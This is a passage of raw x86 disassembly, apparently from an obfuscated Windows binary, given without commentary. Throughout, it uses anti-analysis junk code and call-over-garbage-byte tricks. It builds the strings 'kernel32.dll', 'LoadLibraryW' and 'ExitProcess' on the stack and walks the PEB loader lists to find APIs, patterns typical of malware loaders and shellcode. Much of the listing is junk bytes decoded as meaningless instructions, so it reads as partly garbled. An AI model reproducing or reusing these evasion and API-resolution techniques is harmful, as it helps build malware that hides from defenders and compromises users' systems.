mov dword [ebp - 0x15ec], eax
push eax
and eax, 0x2acd
sub eax, 0x4c10
jmp 0x4074c2
pop eax
push esi
push esi
add esp, 4
jmp 0x4074d1
pop esi
push edx
push eax
add esp, 4
xor edx, 0x3500
pop edx
mov dword [ebp - 0x204c], 0xffffffff
push ecx
jmp 0x4074f2
jmp 0x4074f7
jmp 0x4074fd
pop ecx
push esi
jmp 0x407507
and esi, 0x8cae
and esi, 0x2ba8
add esi, 0x1859b
pop esi
mov ecx, dword [ebp - 0x414]
mov dword [ebp - 0x45c], ecx
jmp 0x407537
mov edx, dword [ebp - 0x45c]
add edx, 1
mov dword [ebp - 0x45c], edx
push ebx
and ebx, 0x6516
pop ebx
push edi
push esi
add esp, 4
xor edi, 0x12dc1
jmp 0x40754f
sub edi, 0x121cc
call 0x407565
add byte [ecx + 0x50], al
cmp byte [ebx], dh
inc ecx
inc esp
dec esi
cmp dword [edi + edi], esi
add esp, 4
pop edi
mov eax, dword [ebp - 0x45c]
sub eax, dword [ebp - 0x414]
cmp eax, 0xffffffff
jb 0x4075b1
push ebx
push edx
add esp, 4
add ebx, 0xf195
xor ebx, 0x12833
pop ebx
push ebx
push ebx
add esp, 4
jmp 0x407599
add ebx, 0xb93
and ebx, 0x3893
sub ebx, 0x11821
pop ebx
jmp 0x4077df
mov dword [ebp - 0xca4], 7
mov ecx, dword [ebp - 0x45c]
mov dword [ebp - 0xae0], ecx
push ecx
jmp 0x4075d0
pop ecx
push eax
sub eax, 0x17443
sub eax, 0x12a21
sub eax, 0x5475
pop eax
push ebx
push edx
add esp, 4
sub ebx, 0xa170
pop ebx
push esi
and esi, 0x16056
pop esi
mov edx, dword [ebp - 0x15ec]
mov dword [ebp - 0xae4], edx
mov dword [ebp - 0xca8], 0
mov eax, dword [ebp - 0x45c]
cmp eax, dword [ebp - 0x15ec]
jne 0x407660
push ecx
push esi
add esp, 4
and ecx, 0x1a80
add ecx, 0x18a4
xor ecx, 0x11dc5
or ecx, 0x13715
pop ecx
push ecx
sub ecx, 0x1359
add ecx, 0xd641
or ecx, 0x728d
pop ecx
mov ecx, dword [ebp - 0xca8]
mov dword [ebp - 0x15f4], ecx
jmp 0x407791
cmp dword [ebp - 0xca4], 0
jle 0x407785
push ebx
push ebx
add esp, 4
add ebx, 0x1aa
pop ebx
push eax
or eax, 0x18000
sub eax, 0x2841
pop eax
push edi
push eax
add esp, 4
xor edi, 0x7aed
add edi, 0x57d6
sub edi, 0x612f
pop edi
mov edx, dword [ebp - 0xae0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xae4]
movzx edx, byte [ecx]
cmp eax, edx
je 0x407721
push esi
sub esi, 0x7f5c
pop esi
push edi
push edi
add esp, 4
and edi, 0x8b8f
sub edi, 0xba91
sub edi, 0xfc79
sub edi, 0x115b9
pop edi
push ebx
push ebx
add esp, 4
add ebx, 0x331d
pop ebx
mov eax, dword [ebp - 0xae0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xae4]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x407709
mov dword [ebp - 0x15f0], 1
jmp 0x407713
mov dword [ebp - 0x15f0], 0xffffffff
mov ecx, dword [ebp - 0x15f0]
mov dword [ebp - 0xca8], ecx
jmp 0x407785
push ebx
jmp 0x407729
sub ebx, 0x111f3
pop ebx
push ecx
push ebx
add esp, 4
sub ecx, 0x17384
call 0x407749
add byte [edi + 0x4e], al
inc edx
dec eax
cmp dword [ebp + esi + 0x43], eax
add esp, 4
or ecx, 0x1663e
pop ecx
mov edx, dword [ebp - 0xca4]
sub edx, 1
mov dword [ebp - 0xca4], edx
mov eax, dword [ebp - 0xae0]
add eax, 1
mov dword [ebp - 0xae0], eax
mov ecx, dword [ebp - 0xae4]
add ecx, 1
mov dword [ebp - 0xae4], ecx
jmp 0x407660
mov edx, dword [ebp - 0xca8]
mov dword [ebp - 0x15f4], edx
cmp dword [ebp - 0x15f4], 0
jne 0x4077da
push eax
or eax, 0x78f8
jmp 0x4077a7
pop eax
push edx
push ecx
add esp, 4
add edx, 0x32d3
and edx, 0xb891
and edx, 0x5098
pop edx
push edx
push esi
add esp, 4
add edx, 0x163fd
pop edx
mov eax, dword [ebp - 0x45c]
mov dword [ebp - 0xae8], eax
jmp 0x40781b
jmp 0x407528
push edi
add edi, 0x6423
pop edi
push ecx
push edi
add esp, 4
xor ecx, 0x1fa0
call 0x4077ff
add byte [edx], dh
inc esp
inc ebp
inc ebx
inc eax
inc edi
add esp, 4
pop ecx
push eax
sub eax, 0x7bd
and eax, 0x11774
pop eax
mov dword [ebp - 0xae8], 0
push eax
push esi
add esp, 4
and eax, 0xc919
pop eax
push edi
or edi, 0xc4be
jmp 0x407837
call 0x407843
add byte [edx], bh
xor al, 0x37
dec ebp
cmp eax, 0x4c4834e
add edi, 0x15076
pop edi
mov byte [ebp - 0x890], 0x45
mov byte [ebp - 0x88f], 0x78
mov byte [ebp - 0x88e], 0x69
mov byte [ebp - 0x88d], 0x74
mov byte [ebp - 0x88c], 0x50
mov byte [ebp - 0x88b], 0x72
mov byte [ebp - 0x88a], 0x6f
mov byte [ebp - 0x889], 0x63
mov byte [ebp - 0x888], 0x65
mov byte [ebp - 0x887], 0x73
mov byte [ebp - 0x886], 0x73
mov byte [ebp - 0x885], 0
push eax
and eax, 0x2b9e
pop eax
push esi
call 0x4078b8
add byte [ecx], bh
inc eax
push eax
inc edi
dec edi
inc edi
cmp dword ss:[ebx + 0x565e04c4], eax
sub esi, 0xf9af
jmp 0x4078cc
add esi, 0xf871
pop esi
mov ecx, 0x6b
mov word [ebp - 0x1770], cx
mov edx, 0x65
mov word [ebp - 0x176e], dx
mov eax, 0x72
mov word [ebp - 0x176c], ax
mov ecx, 0x6e
mov word [ebp - 0x176a], cx
mov edx, 0x65
mov word [ebp - 0x1768], dx
mov eax, 0x6c
mov word [ebp - 0x1766], ax
mov ecx, 0x33
mov word [ebp - 0x1764], cx
mov edx, 0x32
mov word [ebp - 0x1762], dx
mov eax, 0x2e
mov word [ebp - 0x1760], ax
mov ecx, 0x64
mov word [ebp - 0x175e], cx
mov edx, 0x6c
mov word [ebp - 0x175c], dx
mov eax, 0x6c
mov word [ebp - 0x175a], ax
xor ecx, ecx
mov word [ebp - 0x1758], cx
push ebx
push edi
add esp, 4
or ebx, 0x5cbd
or ebx, 0x1210f
call 0x40798c
add byte [ecx + 0x3b], al
inc ebp
dec edi
dec edi
aas
aaa
dec ebp
inc eax
add esp, 4
add ebx, 0xb9e1
pop ebx
push ecx
and ecx, 0x16daf
pop ecx
push esi
and esi, 0x6956
add esi, 0x5944
pop esi
push esi
add esi, 0xe08
pop esi
push esi
push eax
add esp, 4
jmp 0x4079c0
add esi, 0xee5a
jmp 0x4079cf
pop esi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x2030], edx
mov eax, dword [ebp - 0x2030]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x198c], ecx
mov edx, dword [ebp - 0x198c]
mov dword [ebp - 0x15f8], edx
push ecx
push esi
add esp, 4
sub ecx, 0x15b52
pop ecx
push edi
push ebx
add esp, 4
and edi, 0x461d
pop edi
push esi
add esi, 0x2c63
xor esi, 0xfa21
or esi, 0x10c50
xor esi, 0x185a7
pop esi
cmp dword [ebp - 0x15f8], 0
jne 0x407a42
mov dword [ebp - 0x2f8], 0
jmp 0x407cfe
mov eax, dword [ebp - 0x15f8]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xcb4], edx
push eax
sub eax, 0xab98
xor eax, 0x142
pop eax
push ecx
jmp 0x407a6a
sub ecx, 0x765d
pop ecx
push edi
and edi, 0x629
pop edi
push esi
jmp 0x407a7f
sub esi, 0xfc3
pop esi
cmp dword [ebp - 0xcb4], 0
jne 0x407a9e
mov dword [ebp - 0x2f8], 0
jmp 0x407cfe
mov eax, dword [ebp - 0xcb4]
mov dword [ebp - 0x458], eax
push edi
sub edi, 0x17c18
and edi, 0x4807
add edi, 0xfcb9
pop edi
push edi
push ecx
add esp, 4
jmp 0x407ac9
add edi, 0x8d0e
or edi, 0x147fb
xor edi, 0x9b27
pop edi
lea ecx, [ebp - 0x1770]
mov dword [ebp - 0xcb0], ecx
mov edx, dword [ebp - 0x458]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xcac], eax
xor ecx, ecx
mov word [ebp - 0x1bc], cx
xor edx, edx
mov word [ebp - 0x110], dx
push ebx
and ebx, 0x1d5b
xor ebx, 0x17d24
add ebx, 0xfb32
add ebx, 0x1009c
pop ebx
push edx
and edx, 0xea29
call 0x407b37
add byte [edi + 0x3e], al
dec esi
cmp ecx, dword [esi + 0x44]
cmp al, byte [ebx - 0x74a5fb3c]
test dword [ebx + esi*8 - 1], edx
jmp dword [esi - 0x75]
push edi
push edi
add esp, 4
sub edi, 0x16940
or edi, 0xff23
pop edi
push eax
push eax
add esp, 4
or eax, 0x7003
sub eax, 0x77c2
jmp 0x407d29
xor eax, 0xe150
pop eax
cmp dword [ebp - 0x2f8], 0
jne 0x408634
mov edx, 0x6b
mov word [ebp - 0x17ac], dx
mov eax, 0x65
mov word [ebp - 0x17aa], ax
mov ecx, 0x72
mov word [ebp - 0x17a8], cx
mov edx, 0x6e
mov word [ebp - 0x17a6], dx
mov eax, 0x65
mov word [ebp - 0x17a4], ax
mov ecx, 0x6c
mov word [ebp - 0x17a2], cx
mov edx, 0x33
mov word [ebp - 0x17a0], dx
mov eax, 0x32
mov word [ebp - 0x179e], ax
mov ecx, 0x2e
mov word [ebp - 0x179c], cx
mov edx, 0x64
mov word [ebp - 0x179a], dx
mov eax, 0x6c
mov word [ebp - 0x1798], ax
mov ecx, 0x6c
mov word [ebp - 0x1796], cx
xor edx, edx
mov word [ebp - 0x1794], dx
push edx
push edx
add esp, 4
or edx, 0x3733
pop edx
push edi
push esi
add esp, 4
sub edi, 0xa7e3
pop edi
push esi
push ebx
add esp, 4
and esi, 0xe16b
pop esi
push eax
or eax, 0x7008
and eax, 0x4f43
pop eax
mov byte [ebp - 0x8bc], 0x4c
mov byte [ebp - 0x8bb], 0x6f
mov byte [ebp - 0x8ba], 0x61
mov byte [ebp - 0x8b9], 0x64
mov byte [ebp - 0x8b8], 0x4c
mov byte [ebp - 0x8b7], 0x69
mov byte [ebp - 0x8b6], 0x62
mov byte [ebp - 0x8b5], 0x72
mov byte [ebp - 0x8b4], 0x61
mov byte [ebp - 0x8b3], 0x72
mov byte [ebp - 0x8b2], 0x79
mov byte [ebp - 0x8b1], 0x57
mov byte [ebp - 0x8b0], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1990], eax
mov ecx, dword [ebp - 0x1990]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1994], edx
mov eax, dword [ebp - 0x1994]
mov dword [ebp - 0x1604], eax
push eax
and eax, 0x486f
call 0x407ea0
add byte [eax + 0x3d], cl
aas
cmp ecx, dword [edx + 0x3b]
inc ebp
dec ebx
dec ebx
add esp, 4
call 0x407eb2
add byte [edx], bh
inc edi
cmp byte [edx + 0x40], al
dec edx
inc eax
inc edx
inc eax
add esp, 4
or eax, 0x117f9
pop eax
cmp dword [ebp - 0x1604], 0
jne 0x407ed4
mov dword [ebp - 0x760], 0
jmp 0x40817b
mov ecx, dword [ebp - 0x1604]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcc0], eax
push edi
call 0x407ef3
add byte [edx + 0x42], cl
cmp eax, 0x833c343a
les eax, [ecx + eax*4]
iretd
push ecx
jmp 0x408182
sub ecx, 0xe46a
or ecx, 0xf508
pop ecx
push ebx
and ebx, 0x13b0f
jmp 0x40819e
add ebx, 0x13ab4
jmp 0x4081ac
pop ebx
cmp dword [ebp - 0x760], 0
jne 0x4081f7
push edi
push edi
add esp, 4
sub edi, 0x9b85
add edi, 0xd66a
call 0x4081d4
add byte [esi + 0x40], al
dec ebx
cmp al, 0x40
dec esi
cmp al, byte [ebx + 0x515f04c4]
or ecx, 0x705f
jmp 0x4081e7
pop ecx
mov dword [ebp - 0x7ac], 0
jmp 0x408d1e
push edi
push ebx
add esp, 4
call 0x40820a
add byte [ebx + 0x32], al
cmp byte [edi + 0x48], cl
cmp byte [esi], dh
cmp eax, 0x5f04c483
push esi
and esi, 0x10e4a
add esi, 0x3547
sub esi, 0x148d4
jmp 0x408228
pop esi
mov eax, dword [ebp - 0x760]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x394], ecx
mov dword [ebp - 0x770], 0
mov edx, dword [ebp - 0x394]
mov dword [ebp - 0x1610], edx
cmp dword [ebp - 0x1610], 0
jne 0x408268
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x410], eax
jmp 0x408559
mov ecx, dword [ebp - 0x1610]
mov edx, dword [ebp - 0x394]